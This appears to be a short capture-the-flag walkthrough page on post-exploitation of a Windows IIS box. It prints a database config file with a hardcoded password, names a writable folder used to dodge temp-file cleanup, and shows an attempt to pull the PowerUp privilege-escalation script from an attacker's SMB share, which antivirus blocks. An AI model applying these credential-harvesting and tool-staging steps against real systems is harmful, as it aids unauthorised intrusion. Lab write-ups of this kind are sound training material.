5 box enum nt authority\iusr

C:\inetpub\wwwroot\user>more db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

# files are deleted from temp; using C:\windows\System32\spool\drivers\color

PowerUp.ps1

C:\Windows\System32\spool\drivers\color>copy \\10.10.16.7\drive\PowerUp.ps1
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
        0 file(s) copied.

PEAS

Previous6 privesc_1 PrintSpooferNext4 :80 /blog > LFI > smbRFI

Last updated